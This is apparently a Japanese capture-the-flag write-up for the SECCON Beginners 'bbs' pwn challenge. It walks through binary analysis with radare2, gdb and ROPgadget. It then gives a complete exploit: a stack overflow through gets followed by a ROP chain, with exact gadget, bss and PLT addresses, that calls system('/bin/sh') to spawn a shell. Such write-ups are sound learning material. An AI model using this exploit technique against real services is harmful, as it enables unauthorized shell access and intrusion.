問題に掲示されている場所にnetcatで繋いでみます。
$ nc pwn1.chall.beginners.seccon.jp 18373 Input Content : aaaa ============================== Wed May 30 21:48:16 JST 2018 aaaa ==============================
bbsサービスにアクセスすると、文字を書き込め、書き込んだ投稿が表示されます。
またELF64の実行ファイルが与えられています。
radare2でmain関数を見て見ます。
$ r2 bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 [0x00400590]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Use -AA or aaaa to perform additional experimental analysis. [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [0x00400590]> afl 0x00400047 1 165 fcn.00400047 0x004004e8 3 26 sym._init 0x00400520 1 6 sym.imp.puts 0x00400530 1 6 sym.imp.setbuf 0x00400540 1 6 sym.imp.system 0x00400550 1 6 sym.imp.printf 0x00400560 1 6 sym.imp.__libc_start_main 0x00400570 1 6 sym.imp.gets 0x00400580 1 6 sub.__gmon_start_580 0x00400590 1 41 entry0 0x004005c0 4 50 -> 41 sym.deregister_tm_clones 0x00400600 3 53 sym.register_tm_clones 0x00400640 3 28 sym.__do_global_dtors_aux 0x00400660 4 38 -> 35 entry1.init 0x00400686 1 27 sym.init 0x004006a1 1 89 sym.main 0x00400700 4 101 sym.__libc_csu_init 0x00400770 1 2 sym.__libc_csu_fini 0x00400774 1 9 sym._fini [0x00400590]> s sym.main [0x004006a1]> VV
stringsコマンドで文字列を拾ってもflagという文字列は一個もでてきませんし、main関数をみてわかるように、何かの条件を満たすとflag.txtを表示させる、みたいな安直なものではありません。
つまり、シェルを起動させて、そこからflagを探すことが必要なんだと予想がつきます。
main関数のなかでsystem関数に直に文字列str.dateを渡しているところがあります。
これは、system関数をROPに使ってね!というヒントだと思われます。
(というか、このsystem関数呼び出しがなかったとすると、このバイナリではsystem関数がPLTに載らない かつ このバイナリではsystem関数が呼び出せるようなROPガジェットが無い のでこのままではsystem関数は呼び出せない….のかな?
実行時にリンクされるライブラリを使って、Return-to-libc 攻撃みたいなのを行うことになるんだと思います。よくわかりません。
どんなライブラリがリンクされているのかはlddコマンドで見てください。)
本当にスタックオーバーフローとROPができるかチェックします
$ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
NXとPartial RELROが有効なだけなので大丈夫だとわかります。
NXビットはスタックとかの上にあるコードが実行不可能になりますが、今回はROPですから、スタック上には「命令のアドレス」が置いてあるだけなので大丈夫。
Partial RELROはよく知らんけど、PLTやGOTといったELF内部データセクションをデータ関係のセクションより前に配置し(=単純なスタックオーバーフローで書き換えできないのでやりにくくなる)、それに加えnon-PLT GOT(←なに?)が書き換え不可になる…らしいです。
今回はGOTを書き換えたりしないので関係ないです。
radare2で関数のPLTのエントリのアドレスを確認します。
[0x00000000]> afl 0x00400047 1 165 fcn.00400047 0x004004e8 3 26 sym._init 0x00400520 1 6 sym.imp.puts 0x00400530 1 6 sym.imp.setbuf 0x00400540 1 6 sym.imp.system 0x00400550 1 6 sym.imp.printf 0x00400560 1 6 sym.imp.__libc_start_main 0x00400570 1 6 sym.imp.gets (...中略...)
gets関数は0x00400570、system関数は0x00400540が、PLTのエントリのアドレスです。
ここにジャンプすればその関数が呼び出せるというわけです。
次にrdiに値を入れる命令を探します。
x64のSystem V ABIでは、第一引数をrdiを介して関数に引数を渡すため、rdiを自由に書き換える命令が必要です。
ROPgadget(←固有名詞)というツールがあります。バイナリ中のROPガジェットを探してくれる機能があります。
(gdb-pedaのdumpropコマンドなど色々他のツールもあります。)
# ./ROPgadget.py --binary ~/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 | grep rdi 0x0000000000400763 : pop rdi ; ret
0x00400763に、rdiにスタックからpopしてretしてくれる便利な命令がみつかりましたね。
最後に、”/bin/sh”という文字列をどうするかです。
ROPgadgetツールで調べて見ても、ちょうどよい文字列は存在しません。
なので、bssセクションに確保することにしてしまいましょう。
書き込み権限があり、そして書き換えても影響がないことが多いbssセクションはこういうときに利用されがちです。
bssセクションは、gdbで次のようにして確認しました。0x00601058から始まっています。
(radare2ならiSコマンドでセクション一覧が出ます)
$ gdb bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7 (gdb) info files Symbols from "/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7". Local exec file: `/root/Downloads/bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7', file type elf64-x86-64. Entry point: 0x400590 0x0000000000400238 - 0x0000000000400254 is .interp 0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag 0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id 0x0000000000400298 - 0x00000000004002bc is .gnu.hash 0x00000000004002c0 - 0x0000000000400398 is .dynsym 0x0000000000400398 - 0x00000000004003f6 is .dynstr 0x00000000004003f6 - 0x0000000000400408 is .gnu.version 0x0000000000400408 - 0x0000000000400428 is .gnu.version_r 0x0000000000400428 - 0x0000000000400458 is .rela.dyn 0x0000000000400458 - 0x00000000004004e8 is .rela.plt 0x00000000004004e8 - 0x0000000000400502 is .init 0x0000000000400510 - 0x0000000000400580 is .plt 0x0000000000400580 - 0x0000000000400588 is .plt.got 0x0000000000400590 - 0x0000000000400772 is .text 0x0000000000400774 - 0x000000000040077d is .fini 0x0000000000400780 - 0x00000000004007ec is .rodata 0x00000000004007ec - 0x0000000000400828 is .eh_frame_hdr 0x0000000000400828 - 0x000000000040093c is .eh_frame 0x0000000000600e08 - 0x0000000000600e18 is .init_array 0x0000000000600e18 - 0x0000000000600e20 is .fini_array 0x0000000000600e20 - 0x0000000000600e28 is .jcr 0x0000000000600e28 - 0x0000000000600ff8 is .dynamic 0x0000000000600ff8 - 0x0000000000601000 is .got 0x0000000000601000 - 0x0000000000601048 is .got.plt 0x0000000000601048 - 0x0000000000601058 is .data 0x0000000000601058 - 0x0000000000601068 is .bss
道具は揃ったのでこれらを使ってROPチェインを組み立てます。
- rdiに適当な場所(今回はbss先頭 、0x601058)のアドレスを入れ、引数の準備
- gets関数を呼び出し、そこに”/bin/sh”などsystem関数に渡したい文字列を書き込む
- rdiにbss先頭、0x601058を入れて、引数の準備
- system関数を呼び出し、”/bin/sh”を実行
ということができるように組み立てると、
このようになります。
1度目のgets関数のときにスタックオーバーフローを利用し、main関数の呼び出し元アドレス(図ではオレンジの部分) からあとをROPチェインに書き換えているという感じです。
136バイトぶん’a’とかで埋めて、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400570 (gets関数のPLTエントリ)、
0x00400763 (pop rdi ; ret)、
0x00601058 (bssのアドレス)、
0x00400540 (system関数のPLTエントリ)
というデータを送信すれば良いです。
コメント